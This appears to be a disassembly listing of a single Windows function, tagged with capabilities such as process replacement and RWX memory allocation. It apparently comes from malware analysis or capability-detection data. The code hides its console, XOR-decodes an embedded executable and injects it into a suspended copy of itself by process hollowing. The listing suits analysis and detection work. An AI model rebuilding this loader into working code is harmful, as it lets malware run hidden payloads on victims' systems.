Function at 0x140001522
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Hide graphical window
Resume thread
Use process replacement

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x548
lea rbp, [rsp + 0x80]
call fcn.140001b00
mov rax, rsp
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x45c]
mov r8, rax
lea rax, section..rdata
mov rdx, rax
mov ecx, 0x84
call fcn.140001450
mov qword [rbp + 0x4a8], rax
mov byte [rbp + 0x4a7], 0x6b
mov eax, dword [rbp + 0x45c]
mov edx, eax
sub rdx, 1
mov qword [rbp + 0x498], rdx
mov edx, eax
mov r12, rdx
mov r13d, 0
mov edx, eax
mov rsi, rdx
mov edi, 0
mov eax, eax
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140002ab0
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp + 0x490], rax
mov dword [rbp + 0x4bc], 0
jmp 0x140001619
mov eax, dword [rbp + 0x4bc]
cdqe
mov rdx, qword [rbp + 0x4a8]
add rax, rdx
movzx eax, byte [rax]
xor al, byte [rbp + 0x4a7]
mov rcx, qword [rbp + 0x490]
mov edx, dword [rbp + 0x4bc]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x4bc], 1
mov edx, dword [rbp + 0x4bc]
mov eax, dword [rbp + 0x45c]
cmp edx, eax
jb 0x1400015e4
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x488]
add rax, rdx
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x140001995
lea rax, [rbp + 0x440]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp + 0x3d0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x440]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x140001995
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x470], rax
mov rax, qword [rbp + 0x470]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rbp + 0x448]
mov rdx, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
setne al
test al, al
je 0x140001995
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x478]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x440]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x440]
mov rcx, qword [rbp + 0x488]
mov rdx, qword [rbp + 0x468]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov qword [rbp + 0x4b0], 0
jmp 0x140001907
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x488]
lea rcx, [rax + rdx]
mov rdx, qword [rbp + 0x4b0]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x108
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x488]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x460]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x468]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x478]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x470]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp + 0x440]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add qword [rbp + 0x4b0], 1
mov rax, qword [rbp + 0x478]
movzx eax, word [rax + 6]
movzx eax, ax
cmp qword [rbp + 0x4b0], rax
jb 0x14000181a
mov rax, qword [rbp + 0x478]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x468]
add rdx, rax
mov rax, qword [rbp + 0x470]
mov qword [rax + 0x80], rdx
mov rax, qword [rbp + 0x448]
mov rdx, qword [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x440]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
mov rsp, rbx
jmp 0x14000199d
mov rsp, rbx
mov eax, 0
lea rsp, [rbp + 0x4c8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret